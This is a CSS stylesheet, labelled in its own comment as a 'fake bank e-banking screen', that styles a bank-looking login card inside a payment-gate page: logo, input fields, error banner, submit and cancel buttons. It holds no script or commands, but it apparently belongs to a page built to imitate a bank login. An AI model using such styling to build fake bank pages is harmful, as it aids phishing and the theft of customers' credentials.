/* fake bank e-banking screen */
.paygate.bk-mode { background: #eef1f3; display: block; padding: 0; overflow-y: auto; }
.bk-page { width: 100%; max-width: 520px; margin: 0 auto; min-height: 100vh; background: #fff; display: flex; flex-direction: column;
	font-family: TeleNeo, Arial, sans-serif; color: #16181d; }
.bk-top { display: flex; align-items: center; justify-content: space-between; padding: 14px 18px; border-bottom: 1px solid #eceef2; }
.bk-logo { display: flex; align-items: center; gap: 8px; font-size: 26px; font-weight: 700; color: #00332b; letter-spacing: -0.4px; }
.bk-logo svg { width: 34px; height: 28px; display: block; }
.bk-lang { font-size: 14px; color: #00332b; border-bottom: 1px solid #00332b; }
.bk-body { padding: 18px 18px 28px; }
.bk-body h1 { font-size: 22px; line-height: 1.25; font-weight: 700; color: #00332b; margin: 0 0 12px; }
.bk-body > p { font-size: 14px; line-height: 1.6; color: #2b3a35; margin: 0 0 18px; }
.bk-card { background: #00332b; padding: 18px 16px 14px; }
.bk-card-title { color: #fff; font-size: 15px; margin-bottom: 14px; }
.bk-error { background: #b3261e; color: #fff; font-size: 13px; padding: 8px 10px; margin-bottom: 12px; }
.bk-field { display: flex; align-items: center; gap: 8px; background: #d8dcdc; padding: 0 10px; margin-bottom: 10px; }
.bk-ico { font-size: 14px; opacity: .65; }
.bk-field input { flex: 1; border: 0; background: transparent; height: 46px; font: inherit; font-size: 15px; outline: none; color: #16181d; }
.bk-field input::placeholder { color: #6b7472; }
.bk-submit { display: block; width: 100%; height: 48px; margin-top: 14px; border: 0; background: #ffd100; color: #00332b;
	font: 700 16px TeleNeo, Arial, sans-serif; letter-spacing: .5px; cursor: pointer; }
.bk-submit:hover { filter: brightness(.96); }
.bk-cancel { display: block; margin: 12px 0 0 auto; background: none; border: 0; color: #cfd8d5; font: italic 13px TeleNeo, Arial, sans-serif; cursor: pointer; }
.bk-foot { margin-top: auto; padding: 18px; font-size: 12px; line-height: 1.5; color: #3d4a46; }
@media screen and (max-width: 640px) {
	.bk-page { min-height: 100%; }
	.bk-body h1 { font-size: 19px; }
	.bk-logo { font-size: 22px; }
	.bk-logo svg { width: 28px; height: 23px; }
}